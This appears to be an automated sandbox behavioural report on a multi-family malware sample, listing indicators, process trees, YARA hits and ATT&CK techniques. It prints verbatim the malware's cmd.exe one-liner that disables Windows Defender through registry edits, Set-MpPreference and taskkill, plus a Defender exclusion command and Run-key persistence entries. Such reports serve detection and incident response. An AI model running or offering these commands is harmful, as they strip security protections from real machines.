a72547c70d47fb619a61fd693791d33018afe65d4b5d2ff298e8b440a1117047

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000024449-4.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/files/0x000a000000024443-29.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 1 IoCs

resource	yara_rule
behavioral1/files/0x000700000002445d-61.dat	INDICATOR_SUSPICIOUS_References_SecTools

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4924	powershell.exe
3780	powershell.exe
876	powershell.exe
3332	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

pid	Process
876	powershell.exe
3332	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	HELL2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	HELL2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	HELL2.exe

Executes dropped EXE 12 IoCs

pid	Process
1344	HELL1.exe
1264	HELL1.exe
1952	AggregatorHoss.exe
3996	HELL2.exe
1692	loader.exe
4296	HELL2.exe
332	loader.exe
4836	HELL2.exe
4316	loader.exe
2396	loader.exe
2772	loader.exe
3372	loader.exe

Loads dropped DLL 6 IoCs

pid	Process
1692	loader.exe
332	loader.exe
4316	loader.exe
2396	loader.exe
2772	loader.exe
3372	loader.exe

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HELL2 = "C:\\SysTempData\\HELL2.exe"	AggregatorHoss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e59267a\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e5928cb\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e59267a\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AggregatorHoss = "C:\\SysTempData\\AggregatorHoss.exe"	2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e592b6b\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e5928cb\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GF28562 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\kb_0e592b6b\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HELL1 = "C:\\SysTempData\\HELL1.exe"	2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HELL2 = "C:\\SysTempData\\HELL2.exe"	2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3784	cmd.exe
2152	cmd.exe
1936	cmd.exe
3600	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2152	cmd.exe
3600	cmd.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
3900	taskkill.exe
1896	taskkill.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
4924	powershell.exe
4924	powershell.exe
876	powershell.exe
876	powershell.exe
3780	powershell.exe
3780	powershell.exe
3332	powershell.exe
3332	powershell.exe
1692	loader.exe
1692	loader.exe
332	loader.exe
332	loader.exe
332	loader.exe
332	loader.exe
4316	loader.exe
4316	loader.exe
4316	loader.exe
4316	loader.exe
1692	loader.exe
1692	loader.exe
2396	loader.exe
2396	loader.exe
2396	loader.exe
2396	loader.exe
2772	loader.exe
2772	loader.exe
3372	loader.exe
3372	loader.exe
3372	loader.exe
3372	loader.exe
2772	loader.exe
2772	loader.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	1896	taskkill.exe
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	3900	taskkill.exe
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 1344	4352	2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe	85
PID 1344 wrote to memory of 2152	1344	HELL1.exe	86
PID 1344 wrote to memory of 3784	1344	HELL1.exe	87
PID 2152 wrote to memory of 3996	2152	cmd.exe	90
PID 3784 wrote to memory of 4924	3784	cmd.exe	91
PID 2152 wrote to memory of 1560	2152	cmd.exe	92
PID 2152 wrote to memory of 3232	2152	cmd.exe	93
PID 2152 wrote to memory of 2536	2152	cmd.exe	94
PID 2152 wrote to memory of 816	2152	cmd.exe	95
PID 2152 wrote to memory of 1552	2152	cmd.exe	96
PID 2152 wrote to memory of 3916	2152	cmd.exe	97
PID 2152 wrote to memory of 4160	2152	cmd.exe	98
PID 2152 wrote to memory of 876	2152	cmd.exe	99
PID 2152 wrote to memory of 1896	2152	cmd.exe	100
PID 1264 wrote to memory of 3600	1264	HELL1.exe	105
PID 1264 wrote to memory of 1936	1264	HELL1.exe	106
PID 3600 wrote to memory of 3484	3600	cmd.exe	110
PID 1936 wrote to memory of 3780	1936	cmd.exe	111
PID 3600 wrote to memory of 1972	3600	cmd.exe	112
PID 3600 wrote to memory of 3892	3600	cmd.exe	113
PID 3600 wrote to memory of 1840	3600	cmd.exe	114
PID 3600 wrote to memory of 2636	3600	cmd.exe	115
PID 3600 wrote to memory of 4912	3600	cmd.exe	116
PID 3600 wrote to memory of 2812	3600	cmd.exe	117
PID 3600 wrote to memory of 3712	3600	cmd.exe	118
PID 3600 wrote to memory of 3332	3600	cmd.exe	119
PID 3600 wrote to memory of 3900	3600	cmd.exe	120
PID 4352 wrote to memory of 3996	4352	2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe	129
PID 3996 wrote to memory of 1692	3996	HELL2.exe	130
PID 4296 wrote to memory of 332	4296	HELL2.exe	133
PID 1952 wrote to memory of 4836	1952	AggregatorHoss.exe	134
PID 4836 wrote to memory of 4316	4836	HELL2.exe	135
PID 332 wrote to memory of 3244	332	loader.exe	56
PID 3244 wrote to memory of 4484	3244	Explorer.EXE
PID 4316 wrote to memory of 3244	4316	loader.exe	56
PID 1692 wrote to memory of 3244	1692	loader.exe	56
PID 3244 wrote to memory of 1868	3244	Explorer.EXE
PID 2396 wrote to memory of 3244	2396	loader.exe	56
PID 3372 wrote to memory of 3244	3372	loader.exe	56
PID 2772 wrote to memory of 3244	2772	loader.exe	56

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3244
- C:\Users\Admin\AppData\Local\Temp\2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-09-08_f2de0ba4ee33a037a540807c546c3ea7_cobalt-strike_icedid_luca-stealer_njrat_satacom_vidar.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\SysTempData\HELL1.exe
    "C:\SysTempData\HELL1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f & powershell Set-MpPreference -DisableRealtimeMonitoring $true & taskkill /f /im MsMpEng.exe /im WinDefend.exe 2>nul
      4⤵
      Executes a command shell one-liner
      System Time Discovery
      Suspicious use of WriteProcessMemory
      PID:2152
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender DisableAntiSpyware settings
        
        PID:3996
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
        5⤵
        
        PID:1560
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3232
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2536
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:816
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1552
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
        5⤵
        
        PID:3916
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        5⤵
        
        PID:4160
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:876
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im MsMpEng.exe /im WinDefend.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1896
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3784
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4924
- - C:\SysTempData\HELL2.exe
    "C:\SysTempData\HELL2.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe
      "C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1692

C:\SysTempData\HELL1.exe
C:\SysTempData\HELL1.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f & powershell Set-MpPreference -DisableRealtimeMonitoring $true & taskkill /f /im MsMpEng.exe /im WinDefend.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  - System Time Discovery
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:3484
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
    3⤵
    PID:1972
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3892
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4912
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
    3⤵
    PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
    3⤵
    PID:3712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3332
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe /im WinDefend.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3900
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3780

C:\SysTempData\AggregatorHoss.exe
C:\SysTempData\AggregatorHoss.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1952
- C:\SysTempData\HELL2.exe
  "C:\SysTempData\HELL2.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Users\Admin\AppData\Local\Temp\kb_0e592b6b\loader.exe
    "C:\Users\Admin\AppData\Local\Temp\kb_0e592b6b\loader.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4316

C:\SysTempData\HELL2.exe
C:\SysTempData\HELL2.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\loader.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:332

C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe
C:\Users\Admin\AppData\Local\Temp\kb_0e59267a\loader.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2396

C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\loader.exe
C:\Users\Admin\AppData\Local\Temp\kb_0e5928cb\loader.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2772

C:\Users\Admin\AppData\Local\Temp\kb_0e592b6b\loader.exe
C:\Users\Admin\AppData\Local\Temp\kb_0e592b6b\loader.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry